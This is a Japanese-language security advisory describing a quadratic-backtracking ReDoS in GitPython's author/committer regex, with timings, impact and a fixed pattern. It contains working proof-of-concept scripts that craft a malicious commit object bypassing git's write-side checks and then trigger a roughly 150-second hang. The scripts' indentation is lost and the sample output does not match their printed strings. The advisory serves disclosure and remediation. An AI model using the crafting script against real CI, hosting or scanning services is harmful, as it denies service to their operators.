GitPython: 正規表現によるサービス拒否(ReDoS)脆弱性について(Actor.name_email_regex — コミット作成者/コミッターフィールドの解析)

### 概要

GitPythonの`Actor.name_email_regex`正規表現(`git/util.py`、863行目)は、カタストロフィックなバックトラック(ReDoS:正規表現によるサービス拒否)の脆弱性を持っています。GitPythonが、gitコミットオブジェクトの`author`または`committer`ヘッダーを解析する際、末尾に`>`がない長い文字列`<`が含まれている場合、Pythonの正規表現エンジンが二次的なバックトラックを行い、入力文字列の長さの二乗に比例するCPUリソースを完全に消費してしまいます。

悪意のあるコミットオブジェクトが一つあるだけで、GitPythonの`.author`または`.committer`プロパティを読み込むAPI呼び出しが、**1回の呼び出しで2分以上**かかるようになり、CI環境、コードホスティングのバックエンド、リポジトリのスキャンパイプライン、またはサードパーティまたは信頼できないリポジトリからのコミットを処理するサービスに対して、サービス拒否攻撃が可能になります。

---

### 詳細

**脆弱なファイルと行:**

`git/util.py`、863行目:

```python
name_email_regex = re.compile(r"(.*) <(.*?)>")
```

この正規表現は、GitPythonがコミットの`.author`または`.committer`プロパティを解決するたびに、`Actor._from_string()`(909行目)内で評価されます。

**完全な呼び出しチェーン(公開APIから脆弱な箇所へ):**

commit.author # 任意の通常のGitPython API呼び出し
└── git/objects/commit.py:917
Commit._deserialize()
└── git/objects/util.py:341
parse_actor_and_date(author_line)
└── git/util.py:909
Actor._from_string(string)
└── Actor.name_email_regex.search(string) ← 脆弱箇所

`author_line`は、gitコミットオブジェクトの生のバイトデータから直接デコードされ、正規表現エンジンに到達するまでに、**長さ制限、文字制限、またはタイムアウトが一切適用されません。** 同じチェーンは、以下の操作でもトリガーされます。
- `commit.author`
- `commit.committer`
- `repo.iter_commits()`
- `repo.blame()`
- コミットのメタデータを表示または処理するWebサービス/CIツール

**なぜこのパターンがカタストロフィックにバックトラックするのか:**

パターン `(.*) <(.*?)>` は、無制限の貪欲マッチンググループ `(.*)` が続き、その後にリテラルなスペースと `<` が続きます。入力が `<` を含むが、対応する `>` が含まれていない長い文字列の場合、正規表現エンジンは貪欲マッチンググループに対して、考えられるすべての分割位置を試す必要があります。文字列の長さが n の場合、候補となる位置は O(n²) になり、それぞれの位置が内部の遅延マッチンググループをさらに詳細なマッチング試行に導きます。これが、この種類のパターンにおける、よく知られている「破滅的なバックトラック」と呼ばれる問題です。

**実測によるスケーリング (GitPython 3.1.59、コミット 52a6cba でテスト):**

| 著者フィールドの長さ (バイト) | `.author` の解決にかかる時間 |
|-----------------------------|--------------------------|
| 1,000 | 0.0035 秒 |
| 5,000 | 0.084 秒 |
| 10,000 | 0.341 秒 |
| 20,000 | 1.525 秒 |
| 40,000 | 5.963 秒 |
| 60,000 | 13.360 秒 |
| 80,000 | 23.871 秒 |
| **200,000** | **150.488 秒** |

入力サイズの約2倍になると、処理時間は約4倍になります (例: 40,000 → 80,000 バイト: 5.96 秒 → 23.87 秒 ≈ 4.0 倍)。これは、O(n²) の成長を示しています。Git 自体は、オブジェクト形式における著者名フィールドのサイズに、**実質的な制限を設けていません**。

**悪意のあるオブジェクトが被害者に到達する経路:**

この PoC (Proof of Concept) は、正しく SHA-1 ハッシュ化され、zlib で圧縮された git の loose オブジェクトを作成し、それを直接 `.git/objects/` に書き込みます。`git cat-file -t <sha>` コマンドで確認すると、それが有効な `commit` タイプであり、git 自体の読み込みツールでもエラーなしに表示されます。著者行の形式が不正な場合を検出する健全性チェックは、git の書き込みツール (`git commit --author`, `git update-index`, 明示的な `git fsck`) のみが行います。これらのチェックを回避する経路には、以下が含まれます。

- `receive.fsckObjects = false` が設定された git サーバー (自己ホスト環境で一般的)
- `.git` ディレクトリが tarball、バックアップ、または zip アーカイブとして配布される
- git バンドルファイル
- オブジェクトレベルで動作する、あらゆる自動ミラーリングまたはインポートツール

---

### PoC

**テストに使用した環境:**
- GitPython 3.1.59、ソースからインストール(コードの変更なし)
- Python 3.12.3、git 2.43.0、Ubuntu 24.04

**スクリプト 1 — 悪意のあるリポジトリの作成 (`craft_malicious_repo.py`):**

```python
#!/usr/bin/env python3
"""
1つのコミットを含むGitリポジトリを作成します。このコミットの 'author' フィールドは、閉じられていない '<' を含む大きな文字列です。
.git/objects/ にオブジェクトを直接書き込むことで、git の書き込み側の整合性チェックを回避します。

使用方法: python3 craft_malicious_repo.py <ターゲットディレクトリ> <ペイロードサイズ(バイト)>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
if len(sys.argv) != 3:
print(f"使用方法: {sys.argv[0]} <ターゲットディレクトリ> <ペイロードサイズ(バイト)>")
sys.exit(1)

target_dir, payload_size = sys.argv[1], int(sys.argv[2])

os.makedirs(target_dir, exist_ok=True)
run(["git", "init", "--quiet"], cwd=target_dir)
run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
run(["git", "config", "user.name", "PoC"], cwd=target_dir)

with open(os.path.join(target_dir, "README.txt"), "w") as f:
f.write("GitPython ReDoS PoC リポジトリ\n")
run(["git", "add", "README.txt"], cwd=target_dir)
tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

malicious_name = "A" * payload_size
# キー: author フィールドに閉じられていない '<' が含まれる
author_line = f"author {malicious_name} <unterminated 1691999972 -0700"
committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
message = "ReDoS PoC コミット"

commit_content = (
f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
).encode()

header = f"commit {len(commit_content)}\x00".encode()
store = header + commit_content
sha = hashlib.sha1(store).hexdigest()
compressed = zlib.compress(store)
```

```
objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
os.makedirs(objdir, exist_ok=True)
with open(os.path.join(objdir, sha[2:]), "wb") as f:
f.write(compressed)

run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

print(f"悪意のあるコミットのSHA: {sha}")
print(f"ペイロードのサイズ: {payload_size} バイト")
verify = subprocess.run(
["git", "cat-file", "-t", sha],
cwd=target_dir, capture_output=True, text=True
)
print(f"git cat-file -t の結果: {verify.stdout.strip()}")

if __name__ == "__main__":
main()
```

**スクリプト2 — 脆弱性を引き起こす (`trigger_redos.py`):**

```python
#!/usr/bin/env python3
"""
GitPythonを使用してリポジトリを開き、commit.authorへのアクセス時間を計測します。
これにより、Actor._from_string() -> Actor.name_email_regex.search() がトリガーされます。

使用方法: python3 trigger_redos.py <リポジトリのディレクトリ> <コミットのSHA>
"""
import sys, time, git

def main():
if len(sys.argv) != 3:
print(f"使用方法: {sys.argv[0]} <リポジトリのディレクトリ> <コミットのSHA>")
sys.exit(1)

repo = git.Repo(sys.argv[1])
commit = repo.commit(sys.argv[2])

print("commit.authorへのアクセス — Actor._from_string()をトリガーします...")
t0 = time.time()
author = commit.author # ← この1行がハングの原因
elapsed = time.time() - t0

print(f"Authorの名前の長さ: {len(author.name)} 文字")
print(f"経過時間: {elapsed:.3f} 秒")
print("結果: 脆弱性あり" if elapsed > 5 else "結果: トリガーされず")

if __name__ == "__main__":
main()
```
**実行と出力例:**

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000
Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de
Payload size : 200000 bytes
git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de
Accessing commit.author — triggers Actor._from_string()...
Author name length : 200014 chars
Elapsed : 150.488 seconds
RESULT: VULNERABLE
```

**Dockerによる再現(完全に隔離された環境):**

```bash
docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

# コンテナ内:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# 以下のSHAが表示されるので、それをメモしておいてください。その後、
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>
```

`python:3.8-bookworm`というベースイメージは、GitPython自身の
`fuzzing/local-dev-helpers/Dockerfile`で使用されているものと同じです。

---

### 影響

**影響を受ける対象:**

GitPythonを使用して、完全に制御できないソースからのコミットを解析するアプリケーション。
特にリスクが高いのは以下の環境です。

- **CI/CDシステム**(Jenkins、GitLab CI、GitHub Actionsのセルフホストランナーなど)
が、サードパーティのプルリクエストをクローンして検査する場合。
プルリクエストに含まれる悪意のあるコミットが一つでも存在すると、それを処理するすべてのワーカーが停止する可能性があります。
- **コードホスティングまたはコードレビューのWebサービス**が、コミットの作成者情報を表示する場合。
作成された悪意のあるプッシュが一つでも存在すると、そのコミットのメタデータに触れるすべてのページ表示やAPI応答がブロックされる可能性があります。
- **セキュリティまたはコンプライアンススキャナ**が、多数のリポジトリの履歴を走査する場合。
どのリポジトリにでも悪意のあるオブジェクトが一つでも存在すると、スキャナのワーカーがリソースを使い果たして停止する可能性があります。

**影響の深刻度:**

200KBの作成者フィールドが、単一の`.author`へのアクセスごとに約150秒間の処理を停止させます。
`iter_commits()`または`blame`が使用される場合、履歴のすべてのコミットが個別に悪意のあるものとして作成可能であり、処理されるコミット数に応じて、合計の停止時間が大幅に増加します。
機密性や完全性への影響はありません。これは、可用性/リソース枯渇の脆弱性です。

---

### 推奨される対策

脆弱なパターンを、致命的なバックトラックを引き起こさないものに置き換えてください。
最小限の、動作を維持する修正は、名前グループから`<`と`>`を除外することです。
これにより、O(n²)のバックトラックを強制する曖昧さを解消します。

```python
# git/util.py, 863行目
# 修正前(脆弱性あり):
name_email_regex = re.compile(r"(.*) <(.*?)>")

# 修正後(すべての有効な入力に対して同じ出力になる):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")
```

名前のグループ自体が`<`文字を含むことができなくなったため、閉じ括弧`>`が存在しない場合、エンジンは試行する候補の位置が正確に1つだけになります。そして、O(n²)ではなく、O(n)の時間で失敗します。正当なユーザー名とメールアドレスの文字列(例:`Name <email>`)は、どちらのフィールドにも`<`または`>`を含みません。したがって、この変更は、すべての有効な入力に対して同じ結果をもたらします。

セキュリティ対策として、正規表現の修正とは別に、GitPythonが作者/コミッターの行で解析を試みる最大文字数を制限する(例えば、4096バイトを超える文字列を正規表現エンジンに渡す前に拒否する)ことは、このパーサーにおける将来的なReDoS(正規表現DoS攻撃)のリスクをさらに軽減します。

影響を受けるパッケージ:
- pip (Python) GitPython: 影響を受けるバージョンは3.1.59以下、3.1.60で修正済み。